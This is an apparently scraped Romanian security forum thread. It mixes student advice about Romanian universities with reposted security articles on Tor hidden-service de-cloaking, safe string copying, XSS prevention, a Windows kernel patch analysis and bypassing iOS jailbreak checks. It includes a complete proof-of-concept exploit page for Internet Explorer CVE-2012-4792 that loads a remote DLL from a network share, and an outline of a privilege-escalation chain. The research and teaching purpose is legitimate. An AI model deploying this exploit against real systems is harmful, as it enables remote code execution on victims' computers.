Nytro

1. Eu sunt la info, diferenta e ca la mate faci aproape numai mate si nimic util (sunt de parere ca matematica e inutila). Recomand categoric informatica. 2. E un fel de ordine a cat de simple sunt lucrurile: la ASE e cel mai lejer si e plin de bagaboante, nu esti stresat insa nu inveti nici foarte multe, la universitate e undeva pe la mijloc, te chinui putin pe la examene dar inveti cate ceva, desi iti baga pe gat chestii naspa, la Poli e naspa, ai probabil o zi in care ai 12 ore, prezenta pe la facultate e aproape obligatorie, am inteles ca examenele se iau greu, de mentionat ca inveti mai mult "electronica" si mai putina programare decat la universitate 3. La toate facultatile se predau in detaliu materiile, daca esti atent si iti place, o sa mergi spre titlul de "avansat" in acel domeniu, in special daca lucrezi "extra" la diverse proiecte sau mai stiu eu ce. De exemplu, la C++, o sa inveti o gramada de chestii minore de care te poti lovi desi te gandesti ca nu o sa te ajute cu nimic, eu m-am intalnit cu multe astfel de lucruri. 4. E mai mult fitza sa intri la cu taxa, sa nu iti faci griji ca "treci la cu taxa"... Nu vad rostul in a plati acea taxa, in special pentru ca sunt de parere ca nu se merita. Putina mate si putina info si ai toate sansele sa intri, cand am intrat eu s-a intrat cu 5 la universitate. 5. O sa faci si aici C/C++, Java, PHP, Ruby, HTML/CSS/Javascript, ASP, Oracle. Sunt multe lucruri utile pe care le poti invata, e mai nasol ca trebuie sa treci si examene ca "tehnici de simulare" si "exuatii diferentiale" si alte porcarii la care am restante si nu le vad rostul. 6. Nu ai nevoie de fotoliu, cafea/bere si femeie langa tine pentru a invata. Acele bucati de lemn sunt de ajuns, nu asta e important, importanti sunt profesorii si inca sunt cativa profesori care vor de la studenti sa invete si ii ajuta cum pot. Sigur, este si Cazanescu care trebuia sa se pensioneze de 360 de ani, insa trebuie sa traga si el niste bani de undeva... 7. La camin o sa coste cam 100-120 RON pe luna, ceea ce nu e deloc mult, mai ales ca nu mai platesti si intretinere. Sigur, o sa platesti netu, dar nu cred ca asta e o problema. Conditiile difera de la camin la camin, exista caminul A1 care arata ca un hotel de lux cu interior foarte ok, caminele din Grozavesti sunt misto, depinde ce pretentii are fiecare. Eu am stat un an la camin si cred ca a fost cel mai frumos an din viata mea. Ca student consider ca trebuie sa stai cel putin un an la camin. Eu initial dadusem la ATM (Academia Tehnica Militara), insa cum matematica si fizica nu sunt punctele mele forte am picat desigur examenele scrise. Universitatea era a doua optiune, insa nu imi pare deloc rau ca am intrat. Nu sunt multumit de facultate din motive personale, consider ca se poate mult mai bine, insa daca ar fi sa aleg din nou, probabil tot la Universitate as veni. Bine, master-ul probabil o sa il fac la bagaboante la ASE. Daca mai ai intrebari, posteaza aici, si o sa raspund.

Hai ma ca te ajut eu cu aia

// Ai luat-o de pe Facebook?

Vezi ca mai sunt discutii pe aceasta tema, s-ar putea sa gasesti lucruri utile pe acolo. Salile sunt ultra-moderne, proiectoare touch-screen, wii si xbox-uri pentru elevii din spate care se plictisesc, tarfe in bai pentru baietii care vor o muie... Scuze, eram ironic pentru ca sunt la porcaria aia de facultate si e cam nasoala. E undeva intre Poli si ASE. Va sa zica se face mai multa programare, adica o sa faci C, C++, Java, Linux, Ruby sau PHP, mai multe, sunt cateva chestii utile, dar sunt si multe porcarii. O sa ti se toarne matematica pe gat: algebra, analiza, ecuatii diferentiale si cine stie ce materii ale caror nume l-am uitat. Facultatea arata putin deplorabil, dar ai noroc, e vara. Iarna insa e posibil sa trebuiasca sa stai cu cojocul pe tine. Bancile nu sunt tocmai "pufoase", iar conditiile nu sunt tocmai excelente. Exista insa si profesori buni. Exista si Cazanescu si alti profi pe care o sa te juri ca ii bati. Dar cred ca asa e peste tot. Daca vrei mai multe informatii pune niste intrebari exacte si am sa incerc sa raspund, din punctul meu de vedere.

[h=1]Tor Hidden-Service Passive De-Cloaking[/h] April 3, 2013 By Robert Hansen Someone recently asked me if I knew how to find where Tor-hidden services were really hosted. I identified a few possible methods for finding the origin servers, but none of them worked universally – or even in most situations. Eventually, I did find one way to definitively locate an origin server. However, that method is not trivial – and is still just theoretical. First, I found the following entry on Tor’s webpage: “If your computer isn’t online all the time, your hidden service won’t be either. This leaks information to an observant adversary.” The following idea then came to mind: Let’s say you have a small army of bots (probably a dozen or so are necessary for the sake of redundancy; basically, the more bots you use, the better) connected to Tor. You’d then need to feed something – like the Internet Health Report – into a central database that the de-cloaking bots can monitor. Because the Internet can be flaky and regularly has minor outages – sometimes related to routing, and sometimes related to a simple lack of power * it’s easy (if you have time) to determine if an outage is the cause of a problem, even on robust cloud infrastructures. Furthermore, some companies (e.g., Keynote) already specialize in tracking outages for you. [h=1]De-Cloaking[/h] De-cloaking begins with a few of your robots doing regular polling to make sure your service remains online. This polling is essential for performing tests. When you do discover an outage on the Internet, you should immediately have your robots * from Tor nodes around the world * attempt to contact the server in question. If just a few of the bots are blocked, it’s likely that they are either just transiting the “broken” network or that the bot is itself on this “broken” network. Detecting a broken link that doesn’t give away the origin (click to enlarge). However, if none of your bots can reach the service in question, there’s a good chance that you’ve found the part of the Internet that’s currently broken. One caveat is that if all of the Introducer nodes lie beyond the path of the disruption it may give a false positive, but this is unlikely unless the outage is extremely close to where the polling robots are, or the outage is extremely large. So false positives are a real possibility, although not enough of a deterrent to make this attack un-viable. Detecting an outage that does give away the origin (click to enlarge). This same “contact the server in question” technique can reveal other additional granular/smaller breakages by monitoring for outages within a specific network, then monitoring down to the data center, and possibly even down to the subnet. At the subnet level you’re monitoring a small enough set of machines that one could * at least theoretically * cause selective minor outages (even a few seconds could do the trick) by using a wide variety of denial-of-service attacks to find the one machine that, when attacked, also makes your bots unable to access the site at exactly the same time the site you are monitoring becomes unresponsive. Alternatively, if the IP range is small enough, a government agency could simply watch the wire for Tor traffic. That method, however, is painstaking and requires physical interception, and may require a lot of traffic analysis. However, this method could work. Theoretically, you also could speed up the de-cloaking by looking at the date stamp in the HTTP response of the hidden service. If that service is listening on port 80, you could simply check the dates and then ignore the ones that fail to match the correct time zone/clock skew. Then, unless the problem is deliberate tampering, you’d almost certainly * and much more quickly * know what’s causing the outages. That is, unless the hidden services are within a VM that fails to use NTP (network time protocol), while the parent does use NTP, or unless both dates were set by hand. Overall, using a time-stamp to improve de-cloaking is risky, because it could also be a ‘red herring’ – a tricky method used by a hidden Tor service administrator to hide the service further. A similar technique has been discussed before using clock skews of each Tor node and validating that it matches the Tor hidden service to find the origin server. But using clock skews or time-stamps assumes that the hidden service is not within a VM on the host machine, which is a real possibility; therefore, this may not always work. The concept of a Tor hidden service using multiple machines with the same Tor private key to create a “load balancing” effect to thwart this de-cloaking attack has two issues. The first is that apparently in practice the failover effect can take hours, not seconds. The second is that depending on how the data is mirrored between the two hidden services, it may be extremely easy to tell which server you are communicating with. If something like rsync is used in favor of NFS to mirror content, the inodes on disc and timestamps will be different, leading to different eTag fingerprints and different Last-Modified time stamps, which can be discerned simply by looking at the HTTP headers. Admittedly, what I’m describing here is just a theoretical attack. A large part of this attack is simply passive recon tied in with some generic polling techniques. However, that is a minor barrier for determined adversaries. This is an attack method that could make it significantly more difficult to perfectly hide a Tor-hidden service from a sophisticated adversary using today’s technology without significant forethought or planning. Therefore, it is probably unwise * without taking additional precautions * to run a Tor-hidden service that relies entirely on IP anonymity for safety. A huge thanks to Tom Ritter, Runa Sandvik, Tim Tomes and Robert Graham for letting me bounce these thoughts off of them. Sursa: Tor Hidden-Service Passive De-Cloaking | WhiteHat Security Blog

15 RON/zi * 30 = 450 RON/luna. Daca te faci shaormar castigi de 2 ori mai bine. Daca te faci vanzator in Carrefour castigi de 3 ori mai bine. Daca te faci programator... Castigi mai bine.

WinPcapExamples Added ARP Poisoning source v 0.1 rubenunteregger [TABLE=class: tree-browser css-truncate] [TR] [TD=class: icon][/TD] [TD=class: content]ARPPing[/TD] [TD=class: age]2 months ago[/TD] [TD=class: message] Added ARP Poisoning source v 0.1 [rubenunteregger] [/TD] [/TR] [TR] [TD=class: icon] [/TD] [TD=class: content]BasicSniffer[/TD] [TD=class: age]2 months ago[/TD] [TD=class: message] Initialisation [rubenunteregger] [/TD] [/TR] [TR] [TD=class: icon] [/TD] [TD=class: content]CreateFilter[/TD] [TD=class: age]2 months ago[/TD] [TD=class: message] Initialisation [rubenunteregger] [/TD] [/TR] [TR] [TD=class: icon] [/TD] [TD=class: content]EmployeeOfTheMonth[/TD] [TD=class: age]2 months ago[/TD] [TD=class: message] Initialisation [rubenunteregger] [/TD] [/TR] [TR] [TD=class: icon] [/TD] [TD=class: content]FilterARPReplies[/TD] [TD=class: age]2 months ago[/TD] [TD=class: message] Initialisation [rubenunteregger] [/TD] [/TR] [TR] [TD=class: icon] [/TD] [TD=class: content]ListInterfaces[/TD] [TD=class: age]2 months ago[/TD] [TD=class: message] Initialisation [rubenunteregger] [/TD] [/TR] [TR] [TD=class: icon] [/TD] [TD=class: content]LocalNetAdapterConfig[/TD] [TD=class: age]2 months ago[/TD] [TD=class: message] Initialisation [rubenunteregger] [/TD] [/TR] [TR] [TD=class: icon] [/TD] [TD=class: content]ParseARPReplies[/TD] [TD=class: age]2 months ago[/TD] [TD=class: message] Initialisation [rubenunteregger] [/TD] [/TR] [TR] [TD=class: icon] [/TD] [TD=class: content]ParsePackets[/TD] [TD=class: age]2 months ago[/TD] [TD=class: message] Initialisation [rubenunteregger] [/TD] [/TR] [TR] [TD=class: icon] [/TD] [TD=class: content]Poisoning[/TD] [TD=class: age]2 months ago[/TD] [TD=class: message] Added ARP Poisoning source v 0.1 [rubenunteregger] [/TD] [/TR] [TR] [TD=class: icon] [/TD] [TD=class: content]WinPcapExamples[/TD] [TD=class: age]2 months ago[/TD] [TD=class: message] Added ARP Poisoning source v 0.1 [rubenunteregger] [/TD] [/TR] [/TABLE] https://github.com/rubenunteregger/WinPcapExamples

[h=1]CVE-2012-4792 demo of "DEP/ASLR bypass without ROP/JIT[/h] <!doctype html> <html> <head> <script> // CVE-2012-4792 demo of "DEP/ASLR bypass without ROP/JIT" in CanSecWest 2013 // Effective in 32-bit IE on x64 Windows // Will load \\192.168.59.128\x\x.dll // https://twitter.com/tombkeeper function GIFT() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); window.location = "\u0274\u7ffe\u4242\u4242\u0014\u0030\u0044" + "\u0012\u1212\u0004\u005c\u005c\u0031\u0039\u0032\u002e\u0031" + "\u0036\u0038\u002e\u0035\u0039\u002e\u0031\u0032\u0038\u005c" + "\u0078\u005c\u0078\u002e\u0064\u006c\u006c\u006e\u0074\u0064" + "\u006c\u006c\u002e\u0064\u006c\u006c"; } </script> </head> <body onload="eval(GIFT())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html> Sursa: CVE-2012-4792 demo of "DEP/ASLR bypass without ROP/JIT" - Pastebin.com

Stop using strncpy already! Posted on April 3, 2013 by brucedawson I keep running into code that uses strcpy, sprintf, strncpy, _snprintf (Microsoft only), wcsncpy, swprintf, and morally equivalent functions. Please stop. There are alternatives which are far safer, and they actually require less typing. The dangers of strcpy and sprintf should require little explanation I hope. Neither function lets you specify the size of the output buffer so buffer overruns are often a risk. Using strcpy to copy data from network packets or to copy a large array into a smaller one are particularly dangerous, but even when you’re certain that the string will fit, it’s really not worth the risk. ‘n’ functions considered dangerous The dangers of strncpy, _snprintf, and wcsncpy should be equally well known, but apparently they are not. These functions let you specify the size of the buffer but – and this is really important – they do not guarantee null-termination. If you ask these functions to write more characters than will fill the buffer then they will stop – thus avoiding the buffer overrun – but they will not null-terminate the buffer. In order to use these functions correctly you have to do this sort of nonsense. [INDENT]char buffer[5]; strncpy(buffer, “Thisisalongstring”, sizeof(buffer)); buffer[sizeof(buffer)-1] = 0; [/INDENT] A non-terminated string in C/C++ is a time-bomb just waiting to destroy your code. My understanding is that strncpy was designed for inserting text into the middle of strings, and then was repurposed for ‘secure’ coding even though it is a terrible fit. Meanwhile _snprintf followed the strncpy pattern, but snprintf did not. That is, snprintf guarantees null-termination, but strncpy and _snprintf do not. Is it any wonder that developers get confused? Is it any wonder that developers often do this: [INDENT]// Make snprintf available on Windows: // Don’t ever do this! These two functions are different! #define snprintf _snprintf [/INDENT] strlcpy and lstrcpy strlcpy is designed to solve the null-termination problems – it always null-terminates. It’s certainly an improvement over strncpy, however it isn’t natively available in VC++. lstrcpy is a similarly named Microsoft design defect that appears to behave like strlcpy but is actually a security bug. It uses structured exception handling to catch access violations and then return, so in some situations it will cover up crashes and give you a non-terminated buffer. Awesome. Wide characters worse? swprintf is a function that defies prediction. It lacks an ‘n’ in its name but it takes a character count, however it doesn’t guarantee null-termination. It’s enough to make one’s head explode. Where’s the pattern? If you find the list below obvious or easy to remember then you may be a prodigy, or a liar: May overrun the buffer: strcpy, sprintf Sometimes null-terminates: strncpy, _snprintf, swprintf, wcsncpy, lstrcpy Always null-terminates: snprintf, strlcpy The documentation for these functions (man pages, MSDN) is typically pretty weak. I want bold letters at the top telling me whether it will null-terminate, but it typically takes a lot of very careful reading to be sure. It’s usually faster to write a test program. It’s also worth emphasizing that of the seven functions listed above only one is even plausibly safe to use. And it’s not great either. More typing means more errors But wait, it’s actually worse. Because it turns out that programmers are imperfect human beings, and therefore programmers sometimes pass the wrong buffer size. Not often – probably not much more than one percent of the time – but these mistakes definitely happen, and ‘being careful’ doesn’t actually help. I’ve seen developers pass hard-coded constants (the wrong ones), pass named constants (the wrong ones), used sizeof(the wrong buffer), or use sizeof on a wchar_t array (thus getting a byte count instead of character count). I even saw one piece of code where the address of the string was passed instead of the size, and due to a mixture of templates and casting it actually compiled! Passing sizeof() to a function that expects a character count is the most common failure, but they all happen – even snprintf and strlcpy are misused. Using annotations and /analyze can help catch these problems, but we can do so much better. The solution is… We are programmers, are we not? If the functions we are given to deal with strings are difficult to use correctly then we should write new ones. And it turns out it is easy. Here I present to you the safest way to copy a string to an array: [INDENT]template <size_t charCount> void strcpy_safe(char (&output)[charCount], const char* pSrc) { // Copy the string — don’t copy too many bytes. strncpy(output, pSrc, charCount); // Ensure null-termination. output[charCount - 1] = 0; } // Call it like this: char buffer[5]; strcpy_safe(buffer, “Thisisalongstring”); [/INDENT] I challenge you to use this function incorrectly. You can make it crash by passing an invalid source pointer, but in many years of using this technique I have never seen a case where the buffer size was not inferred correctly. If you pass a pointer as the destination then, because the size cannot be inferred, the code will fail to compile. I think that strcpy_safe is (ahem) a perfect function. It is either used correctly, or it fails to compile. It. Is Perfect. And it’s only six lines. Five if you indent like K&R. Because strcpy_safe is so tiny – it just calls strncpy and then stores a zero – it will inline automatically in VC++ and should generate identical code to if you manually called strncpy and then null-terminated. If you want gcc to inline it you will need __attribute__((always_inline)). Either way, if you want to reduce code size further you could write a non-inline helper function (strlcpy?) that would do the null-termination and have strcpy_safe call this function. It’s up to you. One could certainly debate the name – maybe you would rather call it acme_strcpy, or acme_strncpy_safe. I really don’t care. You could even call it strcpy and let template overloading magically improve the safety of your code. Extrapolation Similar wrappers can obviously be made for all of the string functions that you use. You can even invent new ones, like sprintf_cat_safe. In fact, when I write a member function that takes a pointer and a size I usually make it private and write a template wrapper to handle the size. It’s a versatile technique that you should get used to using. Templates aren’t just for writing unreadable meta-code. String classes Yes, to be clear, I am aware of the existence of std::string. For better or for worse most game developers try to avoid dynamically allocated memory and std::string generally implies just that. There are (somewhat) valid reasons to use string buffers, even if those valid reasons are just that you’ve been handed a million lines of legacy code with security and reliability problems in all directions. Summary We started with this code – two lines of error prone verbosity: [INDENT]strncpy(buffer, “Thisisalongstring”, sizeof(buffer)); buffer[sizeof(buffer)-1] = 0; [/INDENT] We ended with this code – simpler, and impossible to get wrong: [INDENT]strcpy_safe(buffer, “Thisisalongstring”); [/INDENT] You should be using the second option, or explain to me why the heck not. It is constructive laziness of the highest order. Doing less typing in order to create code that is less fragile seems like it just might be a good idea. Sursa: Stop using strncpy already! | Random ASCII

[h=1]WTF Crypto[/h] http://wtfcrypto.com/

[h=1]XSS (Cross Site Scripting) Prevention Cheat Sheet[/h] [h=2]Contents[/h] [hide] 1 Introduction 1.1 A Positive XSS Prevention Model 1.2 Why Can't I Just HTML Entity Encode Untrusted Data? 1.3 You Need a Security Encoding Library [*]2 XSS Prevention Rules 2.1 RULE #0 - Never Insert Untrusted Data Except in Allowed Locations 2.2 RULE #1 - HTML Escape Before Inserting Untrusted Data into HTML Element Content 2.3 RULE #2 - Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes 2.4 RULE #3 - JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values 2.4.1 RULE #3.1 - HTML escape JSON values in an HTML context and read the data with JSON.parse [*]2.5 RULE #4 - CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values [*]2.6 RULE #5 - URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values [*]2.7 RULE #6 - Use an HTML Policy engine to validate or clean user-driven HTML in an outbound way [*]2.8 RULE #7 - Prevent DOM-based XSS [*]2.9 Bonus Rule: Use HTTPOnly cookie flag [*]3 XSS Prevention Rules Summary [*]4 Output Encoding Rules Summary [*]5 Related Articles [*]6 Authors and Primary Editors [*]7 Other Cheatsheets Link: https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

[h=2]MS13-017 – The harmless silent patch…[/h] Hi, in this blog post I’m going to discuss a silent patch published by Microsoft on 12th February 2013 (Microsoft Security Bulletin MS13-017 - Important : Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2799494)). Even though this bug was patched the previous patch Tuesday, I think that it is interesting to analyze and show the relationship between the ROM BIOS and Windows. [h=2]Diffing the Patch:[/h] According to the Microsoft description, we are told that 3 vulnerabilities were addressed by this patch: Kernel Race Condition Vulnerability – CVE-2013-1278 Kernel Race Condition Vulnerability – CVE-2013-1279 Windows Kernel Reference Count Vulnerability – CVE-2013-1280 The files that were modified are “ntoskrnl.exe” and “ntkrnlpa.exe”. In general, I always analyze the changes between Windows XP and Windows 7, because the changed functions aren’t always the same. When I did the binary diffing in Windows XP ( and also in Windows 2003 ) between the vulnerable version of “ntkrnlpa.exe” ( 5.1.2600.6284 ) and the patched version of “ntkrnlpa.exe” ( 5.1.2600.6335 ) I only found one change, the “VdmpInitialize” function. After looking at the binary diffing results and analyzing the changes made in this function, I realized that it was very different from what Microsoft reported… [h=2]The changed function:[/h] As I said before, the changed function is “VdmpInitialize”. This function is called when the “ntvdm.exe” process is invoked by the operating system when a 16 bit application is executed by a user. Essentially, this function is responsible for mapping part of the ROM BIOS in user space to the first megabyte of the “ntvdm.exe” process memory, creating the right context for a 16 bit process. When a 16 bits process calls BIOS interrupts, the ROM BIOS code (now in the user space memory) is executed. An interesting detail of this is that the copied memory by the “VdmpInitialize” function is really the memory mapped in the physical address space located between c000:0000 to f000:ffff. It means that if the mapped code located in this memory address was modified, for example by a ROOTKIT, it could be executed by a 16 bit application when it is launched. [h=2]The bug:[/h] The vulnerability is linked with a Windows registry key called “Configuration Data” located in “HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System”. This key is used by Windows kernel through the “VdmpInitialize” function, looking at the key value through the “Modify Binary Data” option in regedit program, we can see something like this: In the selected area, there is a list with pair of values representing: ADDRESS – LENGTH Among some values, we can see this: VGA ROM: 00 00 0C 00 –> 0x000C0000 (BLOCK ADDRESS) 00 80 00 00 –> 0×00008000 (BLOCK LENGTH) ROM BIOS: 00 00 0F 00 –> 0x000F0000 (BLOCK ADDRESS) 00 00 01 00 –> 0×00010000 (BLOCK LENGTH) These values are loaded by “VdmpInitialize” function, finalizing the process with data copied from the PHYSICAL MEMORY (only accessible by kernel) to the memory space of the “ntvdm.exe” process. The destination address of the copied data is the same as the original ROM BIOS address but the difference is that it’s virtual memory, NOT PHYSICAL MEMORY. As example of this, we can see how the key values are used as parameters to copy memory from the VGA ROM BIOS: –> memcpy (0xc0000, SOME_VIRTUAL_ADDRESS, 0×8000); Now, if we look part of the patched function code: [TABLE] [TR] [TD=width: 319] [/TD] [TD=width: 319] [/TD] [/TR] [/TABLE] We can see that the comparison “if (_VdmMapBiosRomReadWrite = 1)” was moved. In the patched function, the code checks: - if (BLOCK ADDRESS >= BASE_ROM_BIOS_ADDRESS (0xc0000)) - if (BASE_ROM_BIOS_ADDRESS – BLOCK ADDRESS > BLOCK ADDRESS) If all is OK, the comparison “if (_VdmMapBiosRomReadWrite = 1)” is executed. In the unpatched function, there are the same checks but they are only executed when the condition “if (_VdmMapBiosRomReadWrite = 1)” is TRUE. It is because the “IF” sentence is put in a wrong place. So, if the comparison fails, checks will never be made. At least in my virtual machine, the value of the variable “_VdmMapBiosRomReadWrite” is FALSE. The interesting detail of that is not exactly this bug, if not what the “VdmpInitialize” function does. Remember that the “VdmpInitialize” function uses value pairs (BLOCK ADDRESS – BLOCK LENGTH) to build the ntvdm.exe memory context and these value pairs are located in the Windows registry, so, they can be modified. So, we can change the BLOCK ADDRESS value in the registry key and the function will read physical memory from another area. As example, we could read some parts of Windows KERNEL and map them in USER space memory, in this case in the “ntvdm.exe” process. On the other hand, if we change the LENGTH of the data to copy, we could read big quantities of physical memory. Now, the only way to change the registry key value (unless I’m missing something) is as an administrator user, which it converts the bug in somewhat unattractive, because if we are an administrator user, why would we need more? [h=2]ROM BIOS and Windows:[/h] Apparently, this bug doesn’t represent any problem for users, but the access to the PHYSICAL MEMORY where the ROM BIOS is mapped has deeper implications. A year ago, VMware published an advisory called “VMware High-Bandwidth Backdoor ROM Overwrite Privilege Elevation” (Microsoft Windows and VMware ESXi/ESX CVE-2012-1515 Local Privilege Escalation Vulnerability). In summary, the patch published by VMware allows us to modify the virtual machine ROM BIOS memory area in runtime and finish it with a privilege escalation exploit within the virtual machine. If the ROM BIOS is modified, in this case could be the VGA ROM BIOS, the malicious code could be executed calling interruption number 0×10 ( INT 10h ). In Windows XP/Windows 2003, the BIOS interruption 10h can be invoked from a windows console changing de video mode to FULL-SCREEN. A possible result is malicious code running in VM86 mode (Virtual mode 8086) within of the CSRSS.EXE process. Now, according to the VMware advisory and the tests that I carried out myself, it’s possible to get away from the VM86 mode overwriting a table called “VDM TIB” located from the 1200h:0000h memory address (or 0×12000 linear value). The complete exploitation process could be: Through a bug, to overwrite the memory area where the ROM BIOS is mapped (we could use the “INT 10h” handler). Modify part of the CSRSS.EXE process memory can produces the same results (only Windows XP/Windows 2003). Invoke the “INT 10h” handler changing the console video mode to FULL-SCREEN. Running in VM86 mode within CSRSS process, to modify the VDM TIB structure. When the “INT 10h” returns, take control of the CSRSS.EXE process jumping to 32 bits code. [h=2]Final thoughts:[/h] Microsoft decided not to talk about this function and not to assign a CVE for this vulnerability, maybe because they determined that it is not a security vulnerability. However, they decided to patch function, I suppose that there must have been a reason – if anyone has any theories I would love to hear them. - Nicolas Economou, Senior Exploit Writer, CORE Labs To comment on this post, please CLICK HERE Penetration Testing Overview Sursa: MS13-017 - The harmless silent patch... | Core Security

[h=1]Wi-Fi SSID Sniffer in 11 Lines of Python using Raw Sockets[/h] Publicat la 03.04.2013 Full information and source code download link: [Hack Of The Day Ep. 10] Wlan Ssid Sniffer Using Raw Sockets In Python Please post comments on the link above so we can respond to them. Thanks! If you are interested in learning how to use Python for Pentesting, please have a look at our course taken by students from 73+ countries as of this writing: http://securitytube-training.com/cert...

[h=1]Security Engineering — The Book[/h] The first edition (2001) You can also download all of the first edition for free: The foreword, preface and other front matter What is Security Engineering? Protocols Passwords Access Control Cryptography Distributed Systems Multilevel Security Multilateral Security Banking and Bookkeeping Monitoring Systems Nuclear Command and Control Security Printing and Seals Biometrics Physical Tamper Resistance Emission Security Electronic and Information Warfare Telecom System Security Network Attack and Defense Protecting E-Commerce Systems Copyright and Privacy Protection E-Policy Management Issues System Evaluation and Assurance Conclusions Bibliography Finally, here's a single pdf of the whole book. It's 17Mb, but a number of people asked me for it. All chapters from the second edition now available free online! Table of contents Preface Acknowledgements Chapter 1: What is Security Engineering? Chapter 2: Usability and Psychology Chapter 3: Protocols Chapter 4: Access Control Chapter 5: Cryptography Chapter 6: Distributed Systems Chapter 7: Economics Chapter 8: Multilevel Security Chapter 9: Multilateral Security Chapter 10: Banking and Bookkeeping Chapter 11: Physical Protection Chapter 12: Monitoring and Metering Chapter 13: Nuclear Command and Control Chapter 14: Security Printing and Seals Chapter 15: Biometrics Chapter 16: Physical Tamper Resistance Chapter 17: Emission Security Chapter 18: API Security Chapter 19: Electronic and Information Warfare Chapter 20: Telecom System Security Chapter 21: Network Attack and Defence Chapter 22: Copyright and DRM Chapter 23: The Bleeding Edge Chapter 24: Terror, Justice and Freedom Chapter 25: Managing the Development of Secure Systems Chapter 26: System Evaluation and Assurance Chapter 27: Conclusions Bibliography Index Sursa: Security Engineering - A Guide to Building Dependable Distributed Systems

Bypassing Jailbroken Checks in iOS Applications using GDB and Cycript I've been teaching iOS Application Security and Auditing to pentesters and developers (secure programming guidelines) online / real world and one of the questions which always comes up is can Anti-Piracy measures work if implemented in the application? Pentesters want to know if they could run into problems with applications implementing runtime protections. Developers on the other hand, want to know if they can sleep well if they implement such protections. The short answer is NO, if your code runs on a platform controlled by the attacker, and if he is skilled enough, he would eventually figure out how to subvert your protection. This is especially true for a Jailbroken device where the attacker can pretty much run anything. I can already see pentesters smiling If you know how to do runtime analysis using Cycript and GDB, then you should be able to subvert most protections. However, as this is significantly different from other application pentests (web and network) and involves a component of reverse engineering an application on the ARM platform, this might get interesting and challenging! This blog post is the first in the series I am planning to talk about the common techniques used by developers today to check for jailbreaking and how an attacker could subvert them. In order to try things out and we need a sample application! I've created a simple AntiPiracyDemo Application for iOS which I use for my online iOS course. You can download the IPA here. Please note that this is a self-signed application and would require a Jailbroken device (iPhone / iPad) to run. You can install the application using installipa as shown below: The application has been tested on iOS 5.1.1 and 6.1.2. Once you run the application, you can confronted with a simple screen to check for Jailbroken state: Clicking on the button, confirms this application is running on a Jailbroken phone. The developer of a real world application can now exit or send a report (privacy violation? ) back to his server to notify. Objective: To bypass the is Jailbroken check implemented by the iOS Application Step 1: Find the application PID and the directory in which it is installed. This is easy to do using "ps" along with a "grep" for the application name Step 2: Go to the Application directory and locate the actually application binary Step 3: Native iOS applications are written in Objective-C which is a dynamically typed language. This requires that all the class information be available at runtime and hence is embedded into the binary. We can extract this class information using a tool called class-dump-z as show below: Step 4: View the class information file - there is a ton of information in there! Step 5: We need to find the rootViewController for the current window. This can be done using a tool called Cycript, which uses Mobile Substrate to hook into any running application. We can find the current rootViewController as below: Step 6: Lets go back to the out of class-dump-z in Step 4 and find the "@interface" section for AntiPiracyViewController Step 7: We see a "checkPiracy" method and more interestingly - we see a method called "isJailbroken" which returns a BOOL and takes no inputs which probably means this checks for a jailbroken state. We can use 2 different techniques to bypass this protection -- 1. Runtime Modification using GDB 2. Method Swizzling using Cycript Let's take up Runtime Modification using GDB first Step 1: Attach GDB to AntiPiracyDemo using the PID Step 2: Set a Breakpoint for the isJailbroken Step 3: Continue running the application and then click on the "Am I Pirated" button to see if we hit the breakpoint Step 4: Disassemble! Be Prepared for some unfamiliar looking symbols if ARM Assembly is not your thing Step 5: iOS devices have an ARM based processor and what you are seeing is ARM Assembly. If you are from the x86 world then there is only one thing you need to keep in mind when working with ARM assembly - the arguments are passed via the registers R0, R1, R2, R3. More than 4 arguments are passed on the stack. Here is the ABI document if you are interested. Step 6: In the disassembly in Step 4, you see a lot of "blx 0x98fe4 <dyld_stub_objc_msgSend>" BLX is "Branch with Link" which basically ends up calling objc_msgSend which has the following definition: The abve is the from Apple Developer site. Objc_msgSend is really the "carrier" of all messages inside an iOS application. Using the ABI we can conclude that: theReceiver would be pointed to by R0 theSelector would be pointed to by R1 First argument pointed to by R2 Step 7: We could set a breakpoint for objc_msgSend but I would prefer to add breakpoints in all locations its called to better illustrate the concept. So, let's set the breakpoints: Step 8: Let's continue running the application and let's dump R0/R1 when we hit the Breakpoint 2. This will help us understand the receiver of the message and its respective selector NSSString alloc is not interesting, Let's repeat the same for other breakpoints. Below is the output when we hit Breakpoints 4 and 5. Breakpoint 4 tells us that the application is using NSFileManager and Breakpoint 5 tells us it is checking for "FileExistsAtPath:" for "/private/var/lib/apt" Very interesting! APT is probably is one of the first binaries to be installed on a Jailbroken phone to manage packages from Cydia. Looks like the developer is checking for the presence of this binary. Step 9: So where do we go from here? The return value is stored in R0 and if you check the documentation of NSFileManager FileExistsAtPath it returns a BOOL. This means "0" will be returned in case the device is NOT Jailbroken and "1" will be returned if it IS Jailbroken. In our case, as our iPhone is jailbroken, it will return "1". We can verify this by setting a breakpoint in the next line of code and checking the value of R0 as below: Step 10: The easiest way to subvert this mechanism would be to change the value of R0 from "1" to "0" so that it indicates to the application that the APT does not exists and hence the device is not Jailbroken. We can do this very easily: Step 11: If we check the Application now - it happily tells us that "This iPhone is NOT Jailbroken" Of course, we have not patched the check in the binary so you would need do this every time I will take up Application Patching in another blog post. Now let us look at the other technique - Method Swizzling using Cycript Step 1: Attack to the application using Cycript Step 2: Method Swizzling allows you to change the mapping for a given method to your own implementation of it. To get the list of messages available we use isa.messages The above command should give you a ton of output! You can clearly see isJailbroken is there in it as highlighted. What is really isa.messages? If you look at the Objective-C runtime implementation, then isa is really a pointer to the class structure itself. Implementation File: runtime.h isa is never exposed to the programmer directly but with Cycript we are able to access it. Quoting from Apple's website: If you’re a procedural programmer new to object-oriented concepts, it might help at first to think of an object as essentially a structure with functions associated with it. This notion is not too far off the reality, particularly in terms of runtime implementation. Every Objective-C object hides a data structure whose first member—or instance variable—is the isa pointer. (Most remaining members are defined by the object’s class and superclasses.) The isa pointer, as the name suggests, points to the object’s class, which is an object in its own right (see Figure 2-1) and is compiled 